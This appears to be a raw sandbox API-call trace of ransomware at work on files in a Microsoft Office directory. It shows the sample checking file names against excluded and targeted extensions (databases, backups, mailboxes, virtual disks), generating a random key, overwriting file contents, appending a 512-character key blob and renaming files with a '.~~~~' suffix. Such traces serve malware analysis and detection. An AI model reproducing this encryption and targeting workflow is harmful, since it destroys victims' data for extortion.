	[0144.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".bak") returned 0x0
	[0144.742] lstrlenW (lpString=".myd") returned 4
	[0144.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".myd") returned 0x0
	[0144.742] lstrlenW (lpString=".DTXS") returned 5
	[0144.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0144.742] lstrlenW (lpString=".ckp") returned 4
	[0144.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0144.742] lstrlenW (lpString=".dbt") returned 4
	[0144.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0144.742] lstrlenW (lpString=".db") returned 3
	[0144.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".db") returned 0x0
	[0144.742] lstrlenW (lpString=".TXT") returned 4
	[0144.742] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0144.743] lstrlenW (lpString=".MDF") returned 4
	[0144.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0144.743] lstrlenW (lpString=".bdb") returned 4
	[0144.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0144.743] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.743] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.743] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.743] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3956b8) returned 1
	[0144.745] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.745] CryptReleaseContext (hProv=0x3956b8, dwFlags=0x0) returned 1
	[0144.745] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.745] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26473510758) returned 1
	[0144.745] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbfaf5190, dwHighDateTime=0x1d60e1e)) 
	[0144.745] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0144.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fcf8
	[0144.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fcf8 | out: hHeap=0x300000) returned 1
	[0144.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acba8
	[0144.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.746] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37cf08
	[0144.746] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acba8 | out: hHeap=0x300000) returned 1
	[0144.746] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0144.746] GetLastError () returned 0x0
	[0144.747] GetLastError () returned 0x0
	[0144.747] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0144.747] GetLastError () returned 0x0
	[0144.747] GetLastError () returned 0x0
	[0144.747] ReadFile (in: hFile=0x104, lpBuffer=0x28e6048, nNumberOfBytesToRead=0x19000, lpNumberOfBytesRead=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesRead=0x25dfec0*=0x4b80, lpOverlapped=0x0) returned 1
	[0144.776] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0xffffb480, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0144.776] WriteFile (in: hFile=0x104, lpBuffer=0x28e6048*, nNumberOfBytesToWrite=0x4b80, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e6048*, lpNumberOfBytesWritten=0x25dfec0*=0x4b80, lpOverlapped=0x0) returned 1
	[0144.776] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e6048 | out: hHeap=0x300000) returned 1
	[0144.776] SetFilePointerEx (in: hFile=0x104, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0144.777] WriteFile (in: hFile=0x104, lpBuffer=0x368b80*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b80*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0144.777] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0144.777] WriteFile (in: hFile=0x104, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0144.777] CloseHandle (hObject=0x104) returned 1
	[0144.777] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28acba8
	[0144.777] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISBRRES.DLL.IDX_DLL.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visbrres.dll.idx_dll.~~~~")) returned 1
	[0144.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acba8 | out: hHeap=0x300000) returned 1
	[0144.780] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3573b0 | out: hHeap=0x300000) returned 1
	[0144.780] GetLastError () returned 0x0
	[0144.781] RtlWakeConditionVariable () returned 0x0
	[0144.781] GetCurrentThreadId () returned 0x9f4
	[0144.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".scr") returned 0x0
	[0144.781] lstrlenW (lpString=".cmd") returned 4
	[0144.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".cmd") returned 0x0
	[0144.781] lstrlenW (lpString=".dll") returned 4
	[0144.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".dll") returned 0x0
	[0144.781] lstrlenW (lpString=".bat") returned 4
	[0144.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".bat") returned 0x0
	[0144.781] lstrlenW (lpString=".cpl") returned 4
	[0144.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".cpl") returned 0x0
	[0144.781] lstrlenW (lpString=".sys") returned 4
	[0144.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".sys") returned 0x0
	[0144.781] lstrlenW (lpString=".msc") returned 4
	[0144.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".msc") returned 0x0
	[0144.781] lstrlenW (lpString=".com") returned 4
	[0144.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".com") returned 0x0
	[0144.781] lstrlenW (lpString=".lnk") returned 4
	[0144.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".lnk") returned 0x0
	[0144.781] lstrlenW (lpString=".msp") returned 4
	[0144.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".msp") returned 0x0
	[0144.781] lstrlenW (lpString=".pif") returned 4
	[0144.781] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".pif") returned 0x0
	[0144.782] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0144.782] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0144.782] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\visintl.dll.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
	[0144.784] lstrlenW (lpString=".sqb") returned 4
	[0144.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".sqb") returned 0x0
	[0144.784] lstrlenW (lpString=".ost") returned 4
	[0144.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".ost") returned 0x0
	[0144.784] lstrlenW (lpString=".txt") returned 4
	[0144.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".txt") returned 0x0
	[0144.784] lstrlenW (lpString=".mdt") returned 4
	[0144.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".mdt") returned 0x0
	[0144.784] lstrlenW (lpString=".BDB") returned 4
	[0144.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".BDB") returned 0x0
	[0144.784] lstrlenW (lpString=".eql") returned 4
	[0144.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".eql") returned 0x0
	[0144.784] lstrlenW (lpString=".DBF") returned 4
	[0144.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".DBF") returned 0x0
	[0144.784] lstrlenW (lpString=".EQL") returned 4
	[0144.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".EQL") returned 0x0
	[0144.784] lstrlenW (lpString=".FDB") returned 4
	[0144.784] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".FDB") returned 0x0
	[0144.784] lstrlenW (lpString=".EDB") returned 4
	[0144.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".EDB") returned 0x0
	[0144.785] lstrlenW (lpString=".DACPAC") returned 7
	[0144.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".DACPAC") returned 0x0
	[0144.785] lstrlenW (lpString=".VHD") returned 4
	[0144.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".VHD") returned 0x0
	[0144.785] lstrlenW (lpString=".DBV") returned 4
	[0144.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".DBV") returned 0x0
	[0144.785] lstrlenW (lpString=".dacpac") returned 7
	[0144.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".dacpac") returned 0x0
	[0144.785] lstrlenW (lpString=".sdf") returned 4
	[0144.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".sdf") returned 0x0
	[0144.785] lstrlenW (lpString=".accdb") returned 6
	[0144.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".accdb") returned 0x0
	[0144.785] lstrlenW (lpString=".DBX") returned 4
	[0144.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".DBX") returned 0x0
	[0144.785] lstrlenW (lpString=".MDT") returned 4
	[0144.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".MDT") returned 0x0
	[0144.785] lstrlenW (lpString=".SQB") returned 4
	[0144.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".SQB") returned 0x0
	[0144.785] lstrlenW (lpString=".vhd") returned 4
	[0144.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".vhd") returned 0x0
	[0144.785] lstrlenW (lpString=".bac") returned 4
	[0144.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".bac") returned 0x0
	[0144.785] lstrlenW (lpString=".mdf") returned 4
	[0144.785] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".mdf") returned 0x0
	[0144.785] lstrlenW (lpString=".BAK") returned 4
	[0144.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".BAK") returned 0x0
	[0144.786] lstrlenW (lpString=".BAC") returned 4
	[0144.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".BAC") returned 0x0
	[0144.786] lstrlenW (lpString=".dbs") returned 4
	[0144.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".dbs") returned 0x0
	[0144.786] lstrlenW (lpString=".vhdx") returned 5
	[0144.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".vhdx") returned 0x0
	[0144.786] lstrlenW (lpString=".NDF") returned 4
	[0144.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".NDF") returned 0x0
	[0144.786] lstrlenW (lpString=".dat") returned 4
	[0144.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".dat") returned 0x0
	[0144.786] lstrlenW (lpString=".DBS") returned 4
	[0144.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".DBS") returned 0x0
	[0144.786] lstrlenW (lpString=".CKP") returned 4
	[0144.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".CKP") returned 0x0
	[0144.786] lstrlenW (lpString=".edb") returned 4
	[0144.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".edb") returned 0x0
	[0144.786] lstrlenW (lpString=".PST") returned 4
	[0144.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".PST") returned 0x0
	[0144.786] lstrlenW (lpString=".dbf") returned 4
	[0144.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".dbf") returned 0x0
	[0144.786] lstrlenW (lpString=".SQL") returned 4
	[0144.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".SQL") returned 0x0
	[0144.786] lstrlenW (lpString=".pst") returned 4
	[0144.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".pst") returned 0x0
	[0144.786] lstrlenW (lpString=".dbv") returned 4
	[0144.786] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".dbv") returned 0x0
	[0144.787] lstrlenW (lpString=".SDF") returned 4
	[0144.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".SDF") returned 0x0
	[0144.787] lstrlenW (lpString=".dtxs") returned 5
	[0144.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".dtxs") returned 0x0
	[0144.787] lstrlenW (lpString=".db3") returned 4
	[0144.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".db3") returned 0x0
	[0144.787] lstrlenW (lpString=".OST") returned 4
	[0144.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".OST") returned 0x0
	[0144.787] lstrlenW (lpString=".dbx") returned 4
	[0144.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".dbx") returned 0x0
	[0144.787] lstrlenW (lpString=".DB3") returned 4
	[0144.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".DB3") returned 0x0
	[0144.787] lstrlenW (lpString=".DAT") returned 4
	[0144.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".DAT") returned 0x0
	[0144.787] lstrlenW (lpString=".VHDX") returned 5
	[0144.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".VHDX") returned 0x0
	[0144.787] lstrlenW (lpString=".ndf") returned 4
	[0144.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".ndf") returned 0x0
	[0144.787] lstrlenW (lpString=".DB") returned 3
	[0144.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".DB") returned 0x0
	[0144.787] lstrlenW (lpString=".sql") returned 4
	[0144.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".sql") returned 0x0
	[0144.787] lstrlenW (lpString=".MYD") returned 4
	[0144.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".MYD") returned 0x0
	[0144.787] lstrlenW (lpString=".DBT") returned 4
	[0144.787] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".DBT") returned 0x0
	[0144.787] lstrlenW (lpString=".ACCDB") returned 6
	[0144.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".ACCDB") returned 0x0
	[0144.788] lstrlenW (lpString=".fdb") returned 4
	[0144.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".fdb") returned 0x0
	[0144.788] lstrlenW (lpString=".bak") returned 4
	[0144.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".bak") returned 0x0
	[0144.788] lstrlenW (lpString=".myd") returned 4
	[0144.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".myd") returned 0x0
	[0144.788] lstrlenW (lpString=".DTXS") returned 5
	[0144.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".DTXS") returned 0x0
	[0144.788] lstrlenW (lpString=".ckp") returned 4
	[0144.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".ckp") returned 0x0
	[0144.788] lstrlenW (lpString=".dbt") returned 4
	[0144.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".dbt") returned 0x0
	[0144.788] lstrlenW (lpString=".db") returned 3
	[0144.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".db") returned 0x0
	[0144.788] lstrlenW (lpString=".TXT") returned 4
	[0144.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".TXT") returned 0x0
	[0144.788] lstrlenW (lpString=".MDF") returned 4
	[0144.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".MDF") returned 0x0
	[0144.788] lstrlenW (lpString=".bdb") returned 4
	[0144.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".bdb") returned 0x0
	[0144.788] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0144.788] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\VISINTL.DLL.IDX_DLL", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0144.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0144.788] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x3630d0
	[0144.789] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x395b80) returned 1
	[0144.790] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x3630d0 | out: pbBuffer=0x3630d0) returned 1
	[0144.790] CryptReleaseContext (hProv=0x395b80, dwFlags=0x0) returned 1
	[0144.790] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3630d0 | out: hHeap=0x300000) returned 1
	[0144.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b80
	[0144.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0144.790] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=26478030791) returned 1
	[0144.790] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xbfb41450, dwHighDateTime=0x1d60e1e)) 
	[0144.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362340
	[0144.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0144.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x3573b0
	[0144.790] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x37fc88
	[0144.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0144.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x37fc88 | out: hHeap=0x300000) returned 1
	[0144.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0144.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0144.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28acda0
	[0144.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0144.791] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x37ed40
	[0144.791] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28acda0 | out: hHeap=0x300000) returned 1
